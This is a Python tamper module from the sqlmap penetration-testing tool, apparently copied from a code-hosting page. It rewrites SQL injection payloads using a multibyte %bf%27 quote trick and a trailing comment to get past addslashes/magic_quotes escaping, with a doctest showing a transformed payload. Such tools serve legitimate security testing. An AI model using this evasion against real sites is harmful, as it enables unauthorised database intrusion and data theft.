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55 lines
1.4 KiB
Python
55 lines
1.4 KiB
Python
#!/usr/bin/env python
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"""
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Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
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See the file 'LICENSE' for copying permission
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"""
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import re
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from lib.core.compat import xrange
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from lib.core.enums import PRIORITY
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__priority__ = PRIORITY.NORMAL
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def dependencies():
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pass
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def tamper(payload, **kwargs):
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"""
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Replaces quote character (') with a multi-byte combo %BF%27 together with generic comment at the end (to make it work)
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Notes:
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* Useful for bypassing magic_quotes/addslashes feature
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Reference:
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* http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string
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* https://lonewolfzero.wordpress.com/2017/07/03/addslashes-multibyte-sql-injection-mysql-and-php-case-study/
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>>> tamper("1' AND 1=1")
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'1%bf%27-- -'
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"""
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retVal = payload
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if payload:
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found = False
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retVal = ""
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for i in xrange(len(payload)):
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if payload[i] == '\'' and not found:
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retVal += "%bf%27"
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found = True
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else:
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retVal += payload[i]
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continue
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if found:
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_ = re.sub(r"(?i)\s*(AND|OR)[\s(]+([^\s]+)\s*(=|LIKE)\s*\2", "", retVal)
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if _ != retVal:
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retVal = _
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retVal += "-- -"
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elif not any(_ in retVal for _ in ('#', '--', '/*')):
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retVal += "-- -"
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return retVal
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